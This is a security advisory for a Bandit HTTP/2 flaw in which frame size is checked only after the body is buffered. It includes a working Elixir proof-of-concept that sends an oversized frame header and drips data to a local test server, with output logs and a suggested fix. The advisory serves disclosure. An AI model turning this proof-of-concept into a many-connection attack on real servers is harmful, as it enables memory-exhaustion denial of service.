CVE-2026-42788: HTTP/2 frame size limit checked after body is buffered in bandit

Summary

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself. 2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB). 3. Polls for GOAWAY(FRAMESIZEERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, ::binary>> = msg, maxframesize) when length > maxframesize, do: {{:error, framesizeerror(), "..."}, dropframeorclose(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated maxframesize should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > maxframesize as soon as the 9 header bytes arrive, before the body-bearing clauses.

elixir Bandit HTTP/2 oversized-frame late-check PoC. RFC 9113 §6.5.2 sets the default SETTINGSMAXFRAMESIZE to 16384. Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this limit after matching payload::binary-size(length) in the frame pattern. When the announced length exceeds what the buffer holds, none of the body-bearing clauses match and deserialize/2 returns {:more, msg}, telling the caller to keep buffering. The oversize error in the "valid shape, length > maxframesize" clause therefore fires only after the entire announced body has been received — letting a peer trickle up to ~16 MiB per frame (the 24-bit length field maximum) into the server before the cap engages, well past the 16 KiB the server agreed to. This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips body bytes in 64 KiB chunks, and after each chunk does a brief non-blocking recv to see if the server has reacted. A patched server should send GOAWAY(FRAMESIZEERROR) within the first chunk (header alone is enough). A vulnerable server keeps silently accepting up to the full 16 MiB. We use a SETTINGS frame (type=0x4, streamid=0) for the abusive header — the parser never reaches dispatch (it's stuck buffering body), so the type and stream id are immaterial to the bug. Run: elixir scripts/bandit/http2framesizelatecheck.exs

Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])

defmodule NoopApp do @behaviour Plug def init(opts), do: opts def call(conn, opts), do: Plug.Conn.sendresp(conn, 200, "ok\n") end

defmodule FrameSizeLateCheck do @port 4321 @connectionpreface "PRI HTTP/2.0\r\n\r\nSM\r\n\r\n"

@typesettings 0x4 @typegoaway 0x7 @flagsettingsack 0x1

@max24bit 0xFFFFFF @dripchunksize 64 1024 @maxtotaldrip 4 1024 1024

def run do {:ok, } = Bandit.startlink(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

advertisedmaxframesize = handshake!(sock) log("Handshake complete. Server advertised maxframesize=#{advertisedmaxframesize}.")

abusiveheader = frameheader(@max24bit, @typesettings, 0, 0)

log( "Sending oversized SETTINGS header: length=#{@max24bit} " <> "(#{div(@max24bit, 1024 1024)} MiB) vs cap #{advertisedmaxframesize}." )

:ok = :gentcp.send(sock, abusiveheader)

case pollforreaction(sock, 200) do {:goaway, errorcode} -> log("Server sent GOAWAY on header alone: errorcode=#{errorcode} — patched.") finish(sock)

:silent -> log("Server silent after header. Beginning body drip…") driploop(sock, 0) end end

defp driploop(sock, totalsent) when totalsent >= @maxtotaldrip do log( "Drip cap reached: #{totalsent} bytes accepted with no server reaction. " <> "Server is buffering an oversized frame body well past maxframesize." )

finish(sock) end

defp driploop(sock, totalsent) do chunk = :binary.copy(<<0>>, @dripchunksize)

case :gentcp.send(sock, chunk) do :ok -> newtotal = totalsent + @dripchunksize

case pollforreaction(sock, 50) do {:goaway, errorcode} -> log( "After #{newtotal} body bytes (#{div(newtotal, 1024)} KiB) the server " <> "sent GOAWAY: errorcode=#{errorcode}." )

finish(sock)

:silent -> if rem(newtotal, 512 1024) == 0 do log("Dripped #{div(newtotal, 1024)} KiB so far, no reaction.") end

driploop(sock, newtotal) end

{:error, reason} -> log("Send failed at total=#{totalsent}: #{inspect(reason)}.") finish(sock) end end

defp pollforreaction(sock, timeoutms) do case :gentcp.recv(sock, 9, timeoutms) do {:ok, <<length::24, type::8, flags::8, r::1, streamid::31>>} -> case recvpayload(sock, length, timeoutms) do {:ok, payload} when type == @typegoaway -> <<lastid::32, errorcode::32, debug::binary>> = payload {:goaway, errorcode}

{:ok, } -> :silent

{:error, } -> :silent end

{:error, :timeout} -> :silent

{:error, :closed} -> {:goaway, :connectionclosedwithoutgoaway} end end

defp finish(sock), do: :gentcp.close(sock)

# --- HTTP/2 handshake helpers ------------------------------------------

defp handshake!(sock) do :ok = :gentcp.send(sock, @connectionpreface) :ok = :gentcp.send(sock, buildsettingsframe(<<>>))

{:ok, serversettingsframe} = recvfullframe(sock, 5000) @typesettings = serversettingsframe.type advertisedmaxframesize = parsemaxframesize(serversettingsframe.payload)

:ok = :gentcp.send(sock, buildsettingsframe(<<>>, @flagsettingsack))

= drain(sock, 100) advertisedmaxframesize end

# SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries. # SETTINGSMAXFRAMESIZE has id=0x5; default per RFC 9113 is 16384. defp parsemaxframesize(payload), do: parsemaxframesize(payload, 16384) defp parsemaxframesize(<<>>, currentvalue), do: currentvalue

defp parsemaxframesize(<<0x5::16, value::32, rest::binary>>, current) do parsemaxframesize(rest, value) end

defp parsemaxframesize(<<id::16, value::32, rest::binary>>, current) do parsemaxframesize(rest, current) end

defp buildsettingsframe(payload, flags \\ 0) do frameheader(bytesize(payload), @typesettings, flags, 0) <> payload end

defp frameheader(length, type, flags, streamid) do <<length::24, type::8, flags::8, 0::1, streamid::31>> end

defp recvfullframe(sock, timeoutms) do with {:ok, <<length::24, type::8, flags::8, r::1, streamid::31>>} <- :gentcp.recv(sock, 9, timeoutms), {:ok, payload} <- recvpayload(sock, length, timeoutms) do {:ok, %{length: length, type: type, flags: flags, streamid: streamid, payload: payload}} end end

defp recvpayload(sock, 0, timeoutms), do: {:ok, <<>>} defp recvpayload(sock, length, timeoutms), do: :gentcp.recv(sock, length, timeoutms)

defp drain(sock, timeoutms) do case :gentcp.recv(sock, 0, timeoutms) do {:ok, bytes} -> bytes <> drain(sock, timeoutms) {:error, } -> <<>> end end

defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end

FrameSizeLateCheck.run()

logs 17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [15:23:19.242] Handshake complete. Server advertised maxframesize=16384. [15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384. [15:23:19.444] Server silent after header. Beginning body drip… [15:23:19.857] Dripped 512 KiB so far, no reaction. [15:23:20.265] Dripped 1024 KiB so far, no reaction. [15:23:20.676] Dripped 1536 KiB so far, no reaction. [15:23:21.094] Dripped 2048 KiB so far, no reaction. [15:23:21.511] Dripped 2560 KiB so far, no reaction. [15:23:21.925] Dripped 3072 KiB so far, no reaction. [15:23:22.340] Dripped 3584 KiB so far, no reaction. [15:23:22.749] Dripped 4096 KiB so far, no reaction. [15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past maxframesize.